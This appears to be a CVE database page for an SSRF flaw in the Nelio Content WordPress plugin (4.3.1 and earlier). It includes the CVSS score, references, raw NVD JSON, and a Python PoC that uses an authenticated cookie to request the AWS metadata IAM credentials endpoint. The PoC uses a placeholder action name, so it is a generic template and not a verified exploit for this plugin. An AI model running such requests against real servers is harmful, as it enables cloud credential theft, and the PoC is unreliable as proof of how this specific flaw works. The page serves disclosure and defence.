CVE-2026-39521

Description

Server-Side Request Forgery (SSRF) vulnerability in Nelio Software Nelio Content nelio-content allows Server Side Request Forgery.This issue affects Nelio Content: from n/a through <= 4.3.1.

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Nelio Content <= 4.3.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://example.com/wp-admin/admin-ajax.php"
attacker_cookie = "wordpress_logged_in_xxx=..."

# SSRF Payload to access internal metadata (AWS example)
# Note: The specific 'action' parameter depends on the plugin's vulnerable endpoint
internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

payload = {
    "action": "nelio_content_vulnerable_action", # Placeholder, needs actual action name
    "url": internal_target
}

headers = {
    "Cookie": attacker_cookie,
    "User-Agent": "SSRF-Test"
}

try:
    response = requests.post(target_url, data=payload, headers=headers, timeout=10)
    if response.status_code == 200:
        print("[+] Potential SSRF triggered!")
        print("Response:", response.text[:200])
    else:
        print("[-] Request failed or blocked.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39521
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39521
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39521/
[4] VulDB https://vuldb.com/cve/CVE-2026-39521
[5] https://patchstack.com/database/Wordpress/Plugin/nelio-content/vulnerability/wordpress-nelio-content-plugin-4-3-1-server-side-request-forgery-ssrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39521", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:25.793", "lastModified": "2026-04-24T18:08:35.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Server-Side Request Forgery (SSRF) vulnerability in Nelio Software Nelio Content nelio-content allows Server Side Request Forgery.This issue affects Nelio Content: from n/a through <= 4.3.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/nelio-content/vulnerability/wordpress-nelio-content-plugin-4-3-1-server-side-request-forgery-ssrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}